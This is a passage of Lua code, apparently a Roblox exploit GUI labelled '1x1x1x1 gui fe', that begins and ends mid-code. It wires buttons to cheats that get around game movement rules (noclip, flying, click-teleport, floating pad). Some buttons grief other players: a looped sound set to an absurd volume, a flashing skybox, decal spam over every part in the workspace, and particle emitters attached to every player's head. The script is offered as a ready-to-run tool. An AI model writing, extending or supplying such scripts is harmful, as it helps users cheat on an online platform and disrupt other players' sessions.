params.FilterDescendantsInstances = {character} local tc = RunService.RenderStepped:Connect(function(delta) ball.CanCollide = true humanoid.PlatformStand = true if UserInputService:GetFocusedTextBox() then return end if UserInputService:IsKeyDown("W") then ball.RotVelocity -= Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("A") then ball.RotVelocity -= Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("S") then ball.RotVelocity += Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("D") then ball.RotVelocity += Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER end --ball.RotVelocity = ball.RotVelocity - Vector3.new(0,ball.RotVelocity.Y/50,0) end) UserInputService.JumpRequest:Connect(function() local result = workspace:Raycast( ball.Position, Vector3.new( 0, -((ball.Size.Y/2)+JUMP_GAP), 0 ), params ) if result then ball.Velocity = ball.Velocity + Vector3.new(0,JUMP_POWER,0) end end) Camera.CameraSubject = ball humanoid.Died:Connect(function() tc:Disconnect() end) end) end coroutine.wrap(WVDQ_fake_script)() local function UUBW_fake_script() -- noclip.LocalScript local script = Instance.new('LocalScript', noclip) local noClipEnabled = false --Toggle noclipButton script.parent.MouseButton1Click:Connect(function() noClipEnabled = not noClipEnabled script.Parent.Text = noClipEnabled and "No-Clip: ON" or "No-Clip: OFF" if noClipEnabled then -- Enable Button game:GetService("RunService").Stepped:Connect(function() if noClipEnabled then for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if part:IsA("BasePart") and part.CanCollide then part.CanCollide = false end end end end) else --Disable noclipButton for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = true end end end end) end coroutine.wrap(UUBW_fake_script)() local function JLHA_fake_script() -- plane.LocalScript local script = Instance.new('LocalScript', plane) function click() repeat wait() until game:IsLoaded() and game:service("Players").LocalPlayer.Character ~= nil; wait(0.4) for i, v in pairs(game:service("Players").LocalPlayer.Character:children()) do if v ~= script then v:Destroy() end end local player = game:service("Players").LocalPlayer local mouse = player:GetMouse() local cam = workspace.CurrentCamera local char = player.Character local Torsoz = char:findFirstChild("Torso") local NV = Vector3.new() local Main local W,S = false,false local DoublePress = {nil,0} script.Parent = char local TrailParts = {} local Acceleration = 0.08 local Speed = 0 local MinSpeed = 0 local MaxSpeed = 3.2 local DesiredDirection = cam.CoordinateFrame.lookVector local Direction = DesiredDirection local Roll = 0 local AllowTrails = true script.Name = "AdvFlight" local P = Instance.new("Part") P.Anchored = true P.CanCollide = false P.Name = "Part" P.formFactor = "Custom" P.Size = Vector3.new(0.2,0.2,0.2) P.Locked = true P.TopSurface = 10 P.BottomSurface = 10 P.FrontSurface = 10 P.BackSurface = 10 P.LeftSurface = 10 P.RightSurface = 10 P.Material = "Pebble" P.BrickColor = BrickColor.new("White") local shipp local shadow local campart function RAY(pos, dir, startpos, endpos, distleft, collidedlist) collidedlist = collidedlist or {char} startpos = startpos or pos distleft = distleft or dir.unit * dir.magnitude endpos = endpos or pos + distleft local ray = Ray.new(pos, distleft) local hitz,enz = workspace:FindPartOnRayWithIgnoreList(ray, collidedlist) if hitz ~= nil then if hitz.CanCollide == false then table.insert(collidedlist, hitz) local newpos = enz local newdistleft = distleft - (dir.unit * (pos - newpos).magnitude) if newdistleft ~= NV then return RAY(newpos-(dir*0.01), dir, startpos, endpos, newdistleft+(dir*0.01), collidedlist) end end end return hitz, enz, ray end function FindSurface(part, position) local obj = part.CFrame:pointToObjectSpace(position) local siz = part.Size/2 for i,v in pairs(Enum.NormalId:GetEnumItems()) do local vec = Vector3.FromNormalId(v) local wvec = part.CFrame:vectorToWorldSpace(vec) local vz = (obj)/(siz*vec) if (math.abs(vz.X-1) < 0.01 or math.abs(vz.Y-1) < 0.01 or math.abs(vz.Z-1) < 0.01) then return wvec,vec end end if part.className == "WedgePart" then return part.CFrame:vectorToWorldSpace(Vector3.new(0,0.707,-0.707)), Vector3.new(0,0.707,-0.707) end end function HSV(H,S,V) H = H % 360 local C = V * S local H2 = H/60 local X = C * (1 - math.abs((H2 %2) -1)) local color = Color3.new(0,0,0) if H2 <= 0 then color = Color3.new(C,0,0) elseif 0 <= H2 and H2 <= 1 then color = Color3.new(C,X,0) elseif 1 <= H2 and H2 <= 2 then color = Color3.new(X,C,0) elseif 2 <= H2 and H2 <= 3 then color = Color3.new(0,C,X) elseif 3 <= H2 and H2 <= 4 then color = Color3.new(0,X,C) elseif 4 <= H2 and H2 <= 5 then color = Color3.new(X,0,C) elseif 5 <= H2 and H2 <= 6 then color = Color3.new(C,0,X) end local m = V - C return Color3.new(color.r + m, color.g + m, color.b + m) end function Build(shiptype) AllowTrails = true for i, v in pairs(char:children()) do if v.className == "Model" and v.Name == "Ship" then v:remove() end end for i, v in pairs(TrailParts) do for _,V in pairs(v[3]) do V:Destroy() end end local mdl = Instance.new("Model", char) mdl.Name = "Ship" ------------------------ Speeder Ship Type ----------------------------- if shiptype == "Speeder" then shipp = P:Clone() shipp.Parent = mdl shipp.Size = Vector3.new(1,1,2.2) local shipwing1 = P:Clone() shipwing1.Parent = mdl shipwing1.Size = Vector3.new(0.6,1.2,2) local mesh = Instance.new("SpecialMesh", shipwing1) mesh.MeshType = "Wedge" local shipwing2 = shipwing1:Clone() shipwing2.Parent = mdl campart = P:Clone() campart.Transparency = 1 local shipwing21 = P:Clone() shipwing21.Parent = mdl shipwing21.Size = Vector3.new(0.32,1.1,2.6) local mesh = Instance.new("SpecialMesh", shipwing21) mesh.MeshType = "Wedge" local shipwing22 = shipwing21:Clone() shipwing22.Parent = mdl campart = P:Clone() campart.Transparency = 1 local shipwi = P:Clone() shipwi.Parent = mdl shipwi.Size = Vector3.new(1,1,1.2) local mesh = Instance.new("SpecialMesh", shipwi) mesh.MeshType = "Wedge" local shipwi2 = P:Clone() shipwi2.Parent = mdl shipwi2.Size = Vector3.new(0.7,0.7,0.84) shipwi2.Material = "SmoothPlastic" shipwi2.BrickColor = BrickColor.new("Pastel blue") shipwi2.Reflectance = 0.6 local mesh = Instance.new("SpecialMesh", shipwi2) mesh.MeshType = "Wedge" shadow = P:Clone() shadow.Parent = mdl shadow.Name = "Shadow" shadow.Material = "SmoothPlastic" shadow.BrickColor = BrickColor.new("Really black") local mesh = Instance.new("SpecialMesh",shadow) mesh.MeshType = "Sphere" TrailParts = {} table.insert(TrailParts,{shipp,1,{},cam.CoordinateFrame.p,CFrame.new(0,0,1),0.5,18}) table.insert(TrailParts,{shipwing1,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15}) table.insert(TrailParts,{shipwing2,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15}) for _, V in pairs(TrailParts) do for i = 1, V[7] do local p = P:Clone() local mesh = Instance.new("SpecialMesh", p) mesh.MeshId = "http://www.roblox.com/asset/?id=9856898" mesh.TextureId = "http://www.roblox.com/asset/?id=48358980" p.BrickColor = BrickColor.new("Dark stone grey") table.insert(V[3],p) end end function ReposParts() shipwing1.CFrame = shipp.CFrame * CFrame.new(-1.1,-0.195,-0.14) * CFrame.Angles(0,0,math.pi/2) shipwing2.CFrame = shipp.CFrame * CFrame.new(1.1,-0.195,-0.14) * CFrame.Angles(0,0,-math.pi/2) shipwing21.CFrame = shipp.CFrame * CFrame.new(-1.05,-0.34,-0.45) * CFrame.Angles(0,0,math.pi/2) shipwing22.CFrame = shipp.CFrame * CFrame.new(1.05,-0.34,-0.45) * CFrame.Angles(0,0,-math.pi/2) shipwi.CFrame = shipp.CFrame * CFrame.new(0,0,-1.7) shipwi2.CFrame = shipwi.CFrame * CFrame.new(0,0.015,-0.015) campart.CFrame = shipp.CFrame + Vector3.new(0,1.5,0) end cam.CameraSubject = campart cam.CameraType = "Track" shipp.CFrame = CFrame.new(NV,Direction) + cam.CoordinateFrame.p ReposParts() end AllowTrails = true end Build("Speeder") function B1D() Build("Speeder") end function RollThatSht(direc) if Roll == 0 then for i = 1, 50 do Roll = (-360 + math.cos(math.pi/50*i) * 360) * direc wait(0.02) end Roll = 0 end end function KD(key) if key == "w" then W = true elseif key == "s" then S = true end local rollpls = 0 if key == DoublePress[1] and tick() - DoublePress[2] < 0.32 then DoublePress = {nil,0} if key == "a" then rollpls = -1 elseif key == "d" then rollpls = 1 end end DoublePress = {key,tick()} if rollpls ~= 0 then RollThatSht(rollpls) end end function KU(key) if key == "w" then W = false elseif key == "s" then S = false end end function Equip() end function Unequip() end mouse.Icon = "rbxasset://textures\\GunCursor.png" mouse.Button1Down:connect(B1D) mouse.KeyDown:connect(KD) mouse.KeyUp:connect(KU) local count = 0 local hue = 0 --game:GetService("RunService").Stepped:connect(function() while wait(0.02) do ------ Speed -------- local valu = (0.002*MaxSpeed) + ((Speed/MaxSpeed)*Acceleration) if W == true then Speed = Speed + valu elseif S == true then Speed = Speed - valu end if Speed > MaxSpeed then Speed = MaxSpeed elseif Speed < MinSpeed then Speed = MinSpeed end ------ left/right tilt --------- local target = 180 + math.floor(math.deg(math.atan2(DesiredDirection.x,DesiredDirection.z))) local current = 180 + math.floor(math.deg(math.atan2(Direction.x,Direction.z))) local swing = 0 if math.abs(math.abs(current-target) - 360) > math.abs(target-current) then swing = target-current else swing = (current > target and -(math.abs(current-target) - 360)) or (current < target and math.abs(current-target) - 360) end DesiredDirection = cam.CoordinateFrame.lookVector ------ direction smoothening ------ local dir = DesiredDirection.unit if Direction ~= dir then if (Direction - dir).magnitude < 0.01 then Direction = dir else local dist = ((dir - Direction).unit * (dir - Direction).magnitude) /10 Direction = (Direction + dist).unit end end shipp.CFrame = (CFrame.new(NV,Direction) + shipp.Position + (Direction.unit * Speed)) * CFrame.Angles(0,0,math.rad(Roll) + math.rad(swing/2)) ReposParts() ------ shadow ------ local ghitz, genz = RAY(shipp.Position,Vector3.new(0,-26,0)) local angles = CFrame.new() if ghitz ~= nil and ghitz.className ~= "Terrain" and ((ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Block) or (ghitz.className ~= "Part" and ghitz:IsA("BasePart"))) then local wvec,vec = FindSurface(ghitz,genz) angles = CFrame.new(NV,wvec) * CFrame.Angles(-math.pi/2,0,0) elseif ghitz ~= nil and (ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Ball) then angles = (CFrame.new(ghitz.Position, genz) - ghitz.Position) * CFrame.Angles(-math.pi/2,0,0) end shadow.CFrame = CFrame.new(genz) * angles shadow.Transparency = 0.5 + (((shipp.Position - genz).magnitude /26)*0.5) shadow.Mesh.Scale = (Vector3.new(4.4,0.25,4.4) * 5) * (1-(shipp.Position - genz).magnitude /26) ------- Trails ----------------------- if AllowTrails == true then count = (count+1)%1 hue = (hue+1) % 360 local rgb = HSV(hue,0.65,0.85) for _,v in pairs(TrailParts) do local to = (v[1].CFrame * v[5]).p if Speed > MinSpeed + 0.2 then v[2] = (v[2]%#v[3]) + 1 v[3][v[2]].CFrame = CFrame.new((v[4] + to)/2,to) * CFrame.Angles(math.pi/2,math.rad(Roll) + math.rad(swing/2),0) v[3][v[2]].Mesh.Scale = Vector3.new(v[6],(v[4] - to).magnitude*2,v[6]) v[3][v[2]].Mesh.VertexColor = Vector3.new(rgb.r,rgb.g,rgb.b) v[3][v[2]].Transparency = 0.15 v[3][v[2]].Parent = game.Players.LocalPlayer.Character else v[2] = (v[2]%#v[3]) + 1 v[3][v[2]].Parent = nil end v[4] = to end end end --end) -- 138098590 -- plane destroyed sound -- 133082569 -- propeller 2 -- 135645246 -- propeller 1 --[[ Possible Game names Aeroscape Airbound Aerialtude ]] end script.Parent.MouseButton1Down:connect(click) end coroutine.wrap(JLHA_fake_script)() local function SSWSNG_fake_script() -- fly.LocalScript local script = Instance.new('LocalScript', fly) speeds = 1 local speaker = game:GetService("Players").LocalPlayer local chr = game.Players.LocalPlayer.Character local hum = chr and chr:FindFirstChildWhichIsA("Humanoid") nowe = false script.parent.MouseButton1Down:connect(function() if nowe == true then nowe = false speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true) speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics) else nowe = true for i = 1, speeds do spawn(function() local hb = game:GetService("RunService").Heartbeat tpwalking = true local chr = game.Players.LocalPlayer.Character local hum = chr and chr:FindFirstChildWhichIsA("Humanoid") while tpwalking and hb:Wait() and chr and hum and hum.Parent do if hum.MoveDirection.Magnitude > 0 then chr:TranslateBy(hum.MoveDirection) end end end) end game.Players.LocalPlayer.Character.Animate.Disabled = true local Char = game.Players.LocalPlayer.Character local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController") for i,v in next, Hum:GetPlayingAnimationTracks() do v:AdjustSpeed(0) end speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false) speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming) end if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").RigType == Enum.HumanoidRigType.R6 then local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = true local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) if nowe == true then plr.Character.Humanoid.PlatformStand = true end while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do game:GetService("RunService").RenderStepped:Wait() if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0,0) end -- game.Players.LocalPlayer.Character.Animate.Disabled = true bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) end ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false game.Players.LocalPlayer.Character.Animate.Disabled = false tpwalking = false else local plr = game.Players.LocalPlayer local UpperTorso = plr.Character.UpperTorso local flying = true local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 local bg = Instance.new("BodyGyro", UpperTorso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = UpperTorso.CFrame local bv = Instance.new("BodyVelocity", UpperTorso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) if nowe == true then plr.Character.Humanoid.PlatformStand = true end while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do wait() if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) end ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false game.Players.LocalPlayer.Character.Animate.Disabled = false tpwalking = false end end) local tis end coroutine.wrap(SSWSNG_fake_script)() local function GYRIVDI_fake_script() -- tp.LocalScript local script = Instance.new('LocalScript', tp) script.Parent.MouseButton1Click:Connect(function() mouse = game.Players.LocalPlayer:GetMouse() tool = Instance.new("Tool") tool.RequiresHandle = false tool.Name = "Click Teleport" tool.Activated:connect(function() local pos = mouse.Hit+Vector3.new(0,2.5,0) pos = CFrame.new(pos.X,pos.Y,pos.Z) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos end) tool.Parent = game.Players.LocalPlayer.Backpack end) end coroutine.wrap(GYRIVDI_fake_script)() local function BCBQLZ_fake_script() -- floatingpad.LocalScript local script = Instance.new('LocalScript', floatingpad) script.Parent.MouseButton1Click:Connect(function() local name = game.Players.LocalPlayer.Name local p = Instance.new("Part") p.Parent = workspace p.Locked = true p.Color = Color3.new(0.666667, 0, 0) p.Size = Vector3.new(8, 1.2, 8) p.Anchored = true local m = Instance.new("CylinderMesh") m.Scale = Vector3.new(1, 0.5, 1) m.Parent = p while true do p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z) wait() end end) end coroutine.wrap(BCBQLZ_fake_script)() local function KXYQAXQ_fake_script() -- Frame.UIDrag local script = Instance.new('LocalScript', Frame) -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end coroutine.wrap(KXYQAXQ_fake_script)() local function GEVXYR_fake_script() -- ScreenGui.notfication local script = Instance.new('LocalScript', ScreenGui) wait(2) game:GetService("StarterGui"):SetCore("SendNotification", { Title = "now loaded lol"; Text = "By FishNoobAhh"; Icon = ""; Duration = 10; Button1 = "yes sirrr"; }) end coroutine.wrap(GEVXYR_fake_script)() local function PYIQX_fake_script() -- ScreenGui.messageload local script = Instance.new('LocalScript', ScreenGui) if script.Parent.Enabled == true then local m = Instance.new("Message", game.Workspace) m.Text = "1x1x1x1 gui fe Loading..." wait(2) m:Destroy() script:Destroy() else end end coroutine.wrap(PYIQX_fake_script)() end) end; task.spawn(C_4); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_6() local script = G2L["6"]; function onClick() local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079" uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_6); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_8() local script = G2L["8"]; script.Parent.MouseButton1Down:Connect(function() imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end end) end; task.spawn(C_8); -- StarterGui.ScreenGui.Frame.LocalScript local function C_9() local script = G2L["9"]; -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end; task.spawn(C_9); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_b() local script = G2L["b"]; function click() function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id=111604272791927" Two.Texture = "http://www.roblox.com/asset/?id=111604272791927" Three.Texture = "http://www.roblox.com/asset/?id=111604272791927" Four.Texture = "http://www.roblox.com/asset/?id=111604272791927" Five.Texture = "http://www.roblox.com/asset/?id=111604272791927" Six.Texture = "http://www.roblox.com/asset/?id=111604272791927" One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end script.Parent.MouseButton1Down:connect(click) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") 